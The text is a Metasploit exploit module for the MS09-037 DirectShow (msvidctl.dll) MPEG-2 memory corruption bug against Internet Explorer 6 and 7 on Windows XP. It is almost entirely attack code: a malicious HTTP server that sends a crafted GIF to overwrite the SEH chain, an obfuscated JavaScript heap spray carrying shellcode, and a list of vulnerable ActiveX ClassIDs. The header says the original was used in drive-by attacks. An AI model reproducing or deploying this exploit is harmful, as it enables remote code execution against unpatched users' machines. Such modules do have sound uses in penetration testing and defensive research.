Microsoft DirectShow (msvidctl.dll) MPEG-2 Memory Corruption

`##  
# msvidctl_mpeg2.rb  
#  
# Microsoft DirectShow (msvidctl.dll) MPEG-2 Memory Corruption exploit for the Metasploit Framework  
#  
# Tested successfully on the following platforms (fully patched 06/07/09):  
# - Internet Explorer 6, Windows XP SP2  
# - Internet Explorer 7, Windows XP SP3  
#  
# Original exploit was found in-the-wild used to preform drive-by attacks via compromised Chinese web sites.   
# The original exploit can be found here (shellcode changed to execute calc.exe):  
# http://www.rec-sec.com/exploits/aa.rar  
#  
# Trancer  
# http://www.rec-sec.com  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
  
include Msf::Exploit::Remote::HttpServer::HTML  
  
def initialize(info = {})  
super(update_info(info,  
'Name' => 'Microsoft DirectShow (msvidctl.dll) MPEG-2 Memory Corruption',  
'Description' => %q{  
This module exploits a memory corruption within the MSVidCtl component of Microsoft   
DirectShow (BDATuner.MPEG2TuneRequest).  
By loading a specially crafted GIF file, an attacker can overrun a buffer and   
execute arbitrary code.  
  
ClassID is now configurable via an advanced option (otherwise randomized) - I)ruid  
},  
'License' => MSF_LICENSE,  
'Author' => [ 'Trancer <mtrancer[at]gmail.com>' ],   
'Version' => '$Revision$',  
'References' =>   
[  
[ 'CVE', '2008-0015' ],  
[ 'OSVDB', '55651' ],  
[ 'BID', '35558' ],  
[ 'MSB', 'MS09-037' ],  
[ 'URL', 'http://www.microsoft.com/technet/security/advisory/972890.mspx' ],  
],  
'DefaultOptions' =>  
{  
'EXITFUNC' => 'process',  
},  
'Payload' =>  
{  
'Space' => 1024,  
'BadChars' => "\x00\x09\x0a\x0d'\\",   
'StackAdjustment' => -3500,  
},  
'Platform' => 'win',  
'Targets' =>  
[  
[ 'Windows XP SP0-SP3 / IE 6.0 SP0-2 & IE 7.0', { 'Ret' => 0x0C0C0C0C } ]   
],  
'DisclosureDate' => 'Jul 05 2009',  
'DefaultTarget' => 0))  
  
register_advanced_options(  
[  
OptString.new('ClassID', [ false, "Specific ClassID to use (otherwise randomized)", nil ]),  
], self.class)  
  
@javascript_encode_key = rand_text_alpha(rand(10) + 10)  
end  
  
def on_request_uri(cli, request)  
  
if (request.uri.match(/\.gif$/i))  
  
print_status("Sending GIF to #{cli.peerhost}:#{cli.peerport}...")  
  
ret = Rex::Text.uri_encode([target.ret].pack('L'))  
  
gif = "\x00\x03\x00\x00\x11\x20\x34\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
gif << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
gif << "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
gif << "\xFF\xFF\xFF\xFF" # End of SEH chain  
gif << [target.ret].pack('V') # SE Handler  
gif << "\x00"  
  
send_response(cli, gif, { 'Content-Type' => 'image/gif' })  
  
return  
end  
  
if (!request.uri.match(/\?\w+/))  
send_local_redirect(cli, "?#{@javascript_encode_key}")  
return  
end  
  
print_status("Sending HTML to #{cli.peerhost}:#{cli.peerport}...")  
  
# Re-generate the payload  
return if ((p = regenerate_payload(cli)) == nil)  
  
# Class IDs  
allclsids = [ # all IDs from the advisory  
"011B3619-FE63-4814-8A84-15A194CE9CE3", # doesn't work  
"0149EEDF-D08F-4142-8D73-D23903D21E90", # doesn't work  
"0369B4E5-45B6-11D3-B650-00C04F79498E", # works  
"0369B4E6-45B6-11D3-B650-00C04F79498E", # works  
"055CB2D7-2969-45CD-914B-76890722F112", # works  
"0955AC62-BF2E-4CBA-A2B9-A63F772D46CF", # works  
"15D6504A-5494-499C-886C-973C9E53B9F1", # works  
"1BE49F30-0E1B-11D3-9D8E-00C04F72D980", # doesn't work  
"1C15D484-911D-11D2-B632-00C04F79498E", # doesn't work  
"1DF7D126-4050-47F0-A7CF-4C4CA9241333", # doesn't work  
"2C63E4EB-4CEA-41B8-919C-E947EA19A77C", # doesn't work  
"334125C0-77E5-11D3-B653-00C04F79498E", # doesn't work  
"37B0353C-A4C8-11D2-B634-00C04F79498E", # doesn't work  
"37B03543-A4C8-11D2-B634-00C04F79498E", # doesn't work  
"37B03544-A4C8-11D2-B634-00C04F79498E", # doesn't work  
"418008F3-CF67-4668-9628-10DC52BE1D08", # doesn't work  
"4A5869CF-929D-4040-AE03-FCAFC5B9CD42", # doesn't work  
"577FAA18-4518-445E-8F70-1473F8CF4BA4", # doesn't work  
"59DC47A8-116C-11D3-9D8E-00C04F72D980", # works  
"7F9CB14D-48E4-43B6-9346-1AEBC39C64D3", # doesn't work  
"823535A0-0318-11D3-9D8E-00C04F72D980", # doesn't work  
"8872FF1B-98FA-4D7A-8D93-C9F1055F85BB", # doesn't work  
"8A674B4C-1F63-11D3-B64C-00C04F79498E", # works  
"8A674B4D-1F63-11D3-B64C-00C04F79498E", # works  
"9CD64701-BDF3-4D14-8E03-F12983D86664", # doesn't work  
"9E77AAC4-35E5-42A1-BDC2-8F3FF399847C", # doesn't work  
"A1A2B1C4-0E3A-11D3-9D8E-00C04F72D980", # doesn't work  
"A2E3074E-6C3D-11D3-B653-00C04F79498E", # doesn't work  
"A2E30750-6C3D-11D3-B653-00C04F79498E", # works  
"A8DCF3D5-0780-4EF4-8A83-2CFFAACB8ACE", # doesn't work  
"AD8E510D-217F-409B-8076-29C5E73B98E8", # doesn't work  
"B0EDF163-910A-11D2-B632-00C04F79498E", # doesn't work  
"B64016F3-C9A2-4066-96F0-BD9563314726", # works  
"BB530C63-D9DF-4B49-9439-63453962E598", # doesn't work  
"C531D9FD-9685-4028-8B68-6E1232079F1E", # doesn't work  
"C5702CCC-9B79-11D3-B654-00C04F79498E", # doesn't work  
"C5702CCD-9B79-11D3-B654-00C04F79498E", # doesn't work  
"C5702CCE-9B79-11D3-B654-00C04F79498E", # doesn't work  
"C5702CCF-9B79-11D3-B654-00C04F79498E", # doesn't work  
"C5702CD0-9B79-11D3-B654-00C04F79498E", # doesn't work  
"C6B14B32-76AA-4A86-A7AC-5C79AAF58DA7", # works  
"CAAFDD83-CEFC-4E3D-BA03-175F17A24F91", # doesn't work  
"D02AAC50-027E-11D3-9D8E-00C04F72D980", # doesn't work  
"F9769A06-7ACA-4E39-9CFB-97BB35F0E77E", # works  
"FA7C375B-66A7-4280-879D-FD459C84BB02", # doesn't work  
]  
clsids = [ # these all work  
"0369B4E5-45B6-11D3-B650-00C04F79498E", # works  
"0369B4E6-45B6-11D3-B650-00C04F79498E", # works  
"055CB2D7-2969-45CD-914B-76890722F112", # works  
"0955AC62-BF2E-4CBA-A2B9-A63F772D46CF", # works  
"15D6504A-5494-499C-886C-973C9E53B9F1", # works  
"59DC47A8-116C-11D3-9D8E-00C04F72D980", # works  
"8A674B4C-1F63-11D3-B64C-00C04F79498E", # works  
"8A674B4D-1F63-11D3-B64C-00C04F79498E", # works  
"A2E30750-6C3D-11D3-B653-00C04F79498E", # works  
"B64016F3-C9A2-4066-96F0-BD9563314726", # works  
"C6B14B32-76AA-4A86-A7AC-5C79AAF58DA7", # works  
"F9769A06-7ACA-4E39-9CFB-97BB35F0E77E", # works  
]  
classid = datastore['ClassID'] || clsids[rand(clsids.size)]  
  
# Encode the shellcode  
shellcode = Rex::Text.to_unescape(payload.encoded, Rex::Arch.endian(target.arch))  
  
# Setup exploit buffers  
nops = Rex::Text.to_unescape([target.ret].pack('V'))  
blocksize = 0x40000  
fillto = 500   
  
# Randomize the javascript variable names  
msvidctl = rand_text_alpha(rand(100) + 1)  
div = rand_text_alpha(rand(100) + 1)  
j_shellcode = rand_text_alpha(rand(100) + 1)  
j_nops = rand_text_alpha(rand(100) + 1)  
j_headersize = rand_text_alpha(rand(100) + 1)  
j_slackspace = rand_text_alpha(rand(100) + 1)  
j_fillblock = rand_text_alpha(rand(100) + 1)  
j_block = rand_text_alpha(rand(100) + 1)  
j_memory = rand_text_alpha(rand(100) + 1)  
j_counter = rand_text_alpha(rand(30) + 2)  
  
js = %Q|#{j_shellcode}=unescape('#{shellcode}');  
#{j_nops}=unescape('#{nops}');  
#{j_headersize}=20;  
#{j_slackspace}=#{j_headersize}+#{j_shellcode}.length;  
while(#{j_nops}.length<#{j_slackspace})#{j_nops}+=#{j_nops};  
#{j_fillblock}=#{j_nops}.substring(0,#{j_slackspace});  
#{j_block}=#{j_nops}.substring(0,#{j_nops}.length-#{j_slackspace});  
while(#{j_block}.length+#{j_slackspace}<#{blocksize})#{j_block}=#{j_block}+#{j_block}+#{j_fillblock};  
#{j_memory}=new Array();  
for(#{j_counter}=0;#{j_counter}<#{fillto};#{j_counter}++)#{j_memory}[#{j_counter}]=#{j_block}+#{j_shellcode};  
  
var #{msvidctl}=document.createElement('object');  
#{div}.appendChild(#{msvidctl});  
#{msvidctl}.width='1';  
#{msvidctl}.height='1';  
#{msvidctl}.data='#{get_resource + "/" + Time.now.to_i.to_s + ".gif"}';  
#{msvidctl}.classid='clsid:#{classid}';|  
  
js_encoded = encrypt_js(js, @javascript_encode_key)  
  
html = %Q|<html>  
<body>   
<div id="#{div}">   
<script>  
#{js_encoded}  
</script>   
</body>   
</html>|  
  
print_status("Sending exploit to #{cli.peerhost}:#{cli.peerport}...")  
  
# Transmit the response to the client  
send_response(cli, html, { 'Content-Type' => 'text/html' })  
  
# Handle the payload  
handler(cli)  
end  
  
end  
`